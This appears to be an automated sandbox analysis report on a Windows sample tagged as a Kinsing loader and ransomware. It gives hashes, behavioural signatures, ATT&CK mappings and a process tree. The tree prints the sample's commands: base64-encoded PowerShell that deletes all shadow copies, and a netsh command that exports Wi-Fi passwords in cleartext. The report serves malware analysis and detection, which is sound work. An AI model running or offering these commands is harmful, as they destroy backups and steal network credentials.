kinsing | b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba

Analysis

max time kernel
140s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25/01/2024, 17:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
Size 947KB
Sample240125-we9rlacah7
SHA256 b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba
MD5 dcefbbb5757c8527b8b7a62f515e0910
SHA1 44cd249fcbb8990dc9f40e73f86158d22dbb16bb
SHA512 7bf0a6cf64d1c96786a5b975fba6592989669dcc2e92f0f9d9e1d3c098dfd758597a27246ff3b910f2dc2df17568007cf12c18caf71e5c27a774c5e354ae01a4
SSDEEP 12288:+coJMvnKm7bR3zc4jAEJWYgeWYg955/155/kJ2kVkIPHusDNNQzCbQMoG9E/nVJW:7uMvDzc4jAc2EPJNq+aW
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

kinsing loader ransomware

Malware Config

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\temp.tmp.bmp	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
File opened for modification	C:\Windows\System32\temp.tmp.jpg	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
File created	C:\Windows\System32\ok.txt	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
File opened for modification	C:\Windows\System32\ok.txt.apb	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4536	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1932	powershell.exe
1932	powershell.exe
1016	powershell.exe
1016	powershell.exe
5012	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeBackupPrivilege	2520	vssvc.exe
Token: SeRestorePrivilege	2520	vssvc.exe
Token: SeAuditPrivilege	2520	vssvc.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 4464	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	88
PID 1116 wrote to memory of 4464	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	88
PID 4464 wrote to memory of 1932	4464	cmd.exe	89
PID 4464 wrote to memory of 1932	4464	cmd.exe	89
PID 1932 wrote to memory of 1016	1932	powershell.exe	90
PID 1932 wrote to memory of 1016	1932	powershell.exe	90
PID 1016 wrote to memory of 5012	1016	powershell.exe	91
PID 1016 wrote to memory of 5012	1016	powershell.exe	91
PID 5012 wrote to memory of 4536	5012	powershell.exe	93
PID 5012 wrote to memory of 4536	5012	powershell.exe	93
PID 1116 wrote to memory of 4772	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	98
PID 1116 wrote to memory of 4772	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	98
PID 4772 wrote to memory of 2072	4772	cmd.exe	99
PID 4772 wrote to memory of 2072	4772	cmd.exe	99
PID 1116 wrote to memory of 4904	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	100
PID 1116 wrote to memory of 4904	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	100
PID 1116 wrote to memory of 1872	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	101
PID 1116 wrote to memory of 1872	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	101

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
"C:\Users\Admin\AppData\Local\Temp\b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -eNcODeDcOmMAnd cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBOAGMATwBEAGUARABjAE8AbQBNAEEAbgBkACAAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFoAUQBCAE8AQQBHAE0AQQBUAHcAQgBFAEEARwBVAEEAUgBBAEIAagBBAEUAOABBAGIAUQBCAE4AQQBFAEUAQQBiAGcAQgBrAEEAQwBBAEEAWgBBAEIAbgBBAEUASQBBAGUAZwBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARgBrAEEAVQBRAEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBEAEEAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAMQBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBXAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBGAG8AQQBVAFEAQgBDAEEARABBAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAGcAQgA2AEEARQBFAEEAUgB3AEIAbgBBAEUARQBBAFcAUQBCAFIAQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcAUQBBAGQAdwBCAEMAQQBIAG8AQQBRAFEAQgBEAEEARQBFAEEAUQBRAEIATQBBAEgAYwBBAFEAZwBCAG8AQQBFAEUAQQBSAHcAQgAzAEEARQBFAEEAWQBnAEIAQgBBAEUARQBBAFoAdwBCAEIAQQBFAE0AQQBPAEEAQgBCAEEARwBNAEEAVQBRAEIAQwBBAEQARQBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAdwBBAEUARQBBAFEAUQBBADkAQQBEADAAQQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -eNcODeDcOmMAnd cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBOAGMATwBEAGUARABjAE8AbQBNAEEAbgBkACAAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFoAUQBCAE8AQQBHAE0AQQBUAHcAQgBFAEEARwBVAEEAUgBBAEIAagBBAEUAOABBAGIAUQBCAE4AQQBFAEUAQQBiAGcAQgBrAEEAQwBBAEEAWgBBAEIAbgBBAEUASQBBAGUAZwBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARgBrAEEAVQBRAEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBEAEEAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAMQBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBXAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBGAG8AQQBVAFEAQgBDAEEARABBAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAGcAQgA2AEEARQBFAEEAUgB3AEIAbgBBAEUARQBBAFcAUQBCAFIAQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcAUQBBAGQAdwBCAEMAQQBIAG8AQQBRAFEAQgBEAEEARQBFAEEAUQBRAEIATQBBAEgAYwBBAFEAZwBCAG8AQQBFAEUAQQBSAHcAQgAzAEEARQBFAEEAWQBnAEIAQgBBAEUARQBBAFoAdwBCAEIAQQBFAE0AQQBPAEEAQgBCAEEARwBNAEEAVQBRAEIAQwBBAEQARQBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAdwBBAEUARQBBAFEAUQBBADkAQQBEADAAQQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eNcODeDcOmMAnd cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBOAGMATwBEAGUARABjAE8AbQBNAEEAbgBkACAAZABnAEIAegBBAEgATQBBAFkAUQBCAGsAQQBHADAAQQBhAFEAQgB1AEEAQwBBAEEAWgBBAEIAbABBAEcAdwBBAFoAUQBCADAAQQBHAFUAQQBJAEEAQgB6AEEARwBnAEEAWQBRAEIAawBBAEcAOABBAGQAdwBCAHoAQQBDAEEAQQBMAHcAQgBoAEEARwB3AEEAYgBBAEEAZwBBAEMAOABBAGMAUQBCADEAQQBHAGsAQQBaAFEAQgAwAEEAQQA9AD0A
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eNcODeDcOmMAnd dgBzAHMAYQBkAG0AaQBuACAAZABlAGwAZQB0AGUAIABzAGgAYQBkAG8AdwBzACAALwBhAGwAbAAgAC8AcQB1AGkAZQB0AA==
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5012
      - C:\Windows\system32\vssadmin.exe
        
        "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan export profile folder="C:\Windows\System32\wifies\\" key=clear && cls
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\netsh.exe
    netsh wlan export profile folder="C:\Windows\System32\wifies\\" key=clear
    3⤵
    PID:2072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir /s /b /a-d C:\Windows\System32\wifies\
  2⤵
  PID:4904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:1872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wr5sedl5.gbh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wr5sedl5.gbh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

wctF613.tmp.apb

Path C:\Users\Admin\AppData\Local\Temp\wctF613.tmp.apb
Size 105KB
SHA256 2a4d21fcbe9d13e8553691891766d5d02acc0bcb5b82a11704079d0420a8afe9
MD5 4d64094fbbc4173506e2874f340130c4
SHA1 841064a338b27f5b58158b829c88b5e5486877e6
SHA512 8ffa22e2bd12ec8a4b91b55cf80720451f0ec9737aef5c60041d4996d1bc490d59b836d98f346f8ac52ba485066272bc9ee0e530409ea8822e724f8f31f1f72c
SSDEEP 3072:ipB9VJS/bzZmKoc5qoAPd32kO4Qwf8uqlBOw:S92bzZgcHAB2k9eBv
MD5 SHA1 SHA512 SSDEEP

Submit Download

temp.tmp.bmp

Path C:\Windows\System32\temp.tmp.bmp
Size 1.0MB
SHA256 e0a4ed1e7abb701c5d68826d27bbd37e2e991cd96ca70f3a1188cffe35f035ad
MD5 3f235dd4b473855cd1311988b367428f
SHA1 64bcd470700ca7c7e45c564ab8d46074223cbed7
SHA512 0fc1ae4ba9aaf2722e1d820728524bf137073062e80c184def56c9c637146cca379f79aeb03acab4c7c76cbb5699efc9ee063d3c9945202c665162679e379326
SSDEEP 3072:oWTJQUS4E4MzBJ8uk+vQYxZUNasdXeg2SUjT:1lQUSp48BJ8uk+vQbasP4
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1016-42-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Download

memory/1016-22-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Download

memory/1016-23-0x000001EA9A570000-0x000001EA9A580000-memory.dmp

Download

memory/1016-24-0x000001EA9A570000-0x000001EA9A580000-memory.dmp

Download

memory/1116-98-0x00007FF7193C0000-0x00007FF7194B9000-memory.dmp

Download

memory/1932-11-0x000002A85D560000-0x000002A85D570000-memory.dmp

Download

memory/1932-9-0x000002A875EA0000-0x000002A875EC2000-memory.dmp

Download

memory/1932-12-0x000002A85D560000-0x000002A85D570000-memory.dmp

Download

memory/1932-45-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Download

memory/1932-10-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Download

memory/5012-38-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Download

memory/5012-35-0x000001EBFDA00000-0x000001EBFDA10000-memory.dmp

Download

memory/5012-34-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Download